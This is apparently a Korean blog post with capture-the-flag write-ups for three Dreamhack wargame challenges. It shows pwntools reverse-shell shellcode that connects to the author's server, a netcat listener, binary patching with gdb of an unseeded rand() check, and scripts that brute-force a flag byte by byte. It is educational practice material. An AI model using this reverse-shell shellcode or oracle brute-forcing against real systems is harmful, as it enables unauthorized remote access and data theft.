security/포너블 - dreamhack

[Dreamhack Wargame] blindsc , randzzz, checkflag

민사민서 2024. 1. 10. 11:46

Blindsc

이런 식으로 stdin, stdout, stderr 가 /dev/null 로 리다이렉션되어있고, shellcode 실행 가능할 때, 

reverse shell code 실행하면 된다 => python shellcraft 사용

 

from pwn import *

p = remote("host3.dreamhack.games", 11938)
context(arch="amd64", os="linux")

shellcode = shellcraft.connect('내 서버 ip', portNUM)
shellcode += shellcraft.findpeersh(portNUM)

 

sudo service nginx stop
nc -lvnp 80

내 로컬 서버에서는 동작중인 nginx 서버 종료시키고 80번 포트로 listening 시켜두고 reverse shell 연결하면  됨

 

randzzz

seed 없이 rand() 호출했으므로 리턴값이 실행에 상관없이 동일함

 

1. 바이너리 패치 통해 sleep(rand()+1) => sleep(1) 로 패치

2. get_flag 함수 호출 시 seconds 입력값 중요 => 하드코딩으로 5,3 패치하거나 gdb 사용

 

cf) gdb에서 아래 명령어로 값 수정 가능

set *(int *)($rbp-0xc) = 0xAAAA

 

checkflag

blind SQLI 느낌 문제, 웹+리버싱+포너블 짬뽕?

 

STEP1. 플래그 길이를 구한다

for i in range(63):
    print(i)
    p = remote("host3.dreamhack.games", 8990)
    payload = b'A'*(63-i)+b'\x00'+b'A'*i+b'A'*(63-i)
    p.sendafter("What's the flag? ", payload)
    msg = p.recvline()
    if b'Correct' in msg:
        print("pass")
    else:
        print("not pass")
    p.close()

- i=48에서 not pass 나오기 시작, 플래그 길이는 16임을 확인 가능

 

STEP2. 플래그를 뒤에서부터 한 바이트씩 구한다

flag = b''

for i in range(16):
    for j in range(0x20, 0x7f):
        # p = process("./checkflag")
        p = remote("host3.dreamhack.games", 13753)
        payload = b'A'*(15-i)+bytes([j])+flag+b'\x00'+b'B'*47+b'A'*(15-i)
        p.sendafter("What's the flag? ", payload)
        if b'Correct' in p.recvline():
            flag = bytes([j])+flag
            print(flag)
            p.close()
            break
        p.close()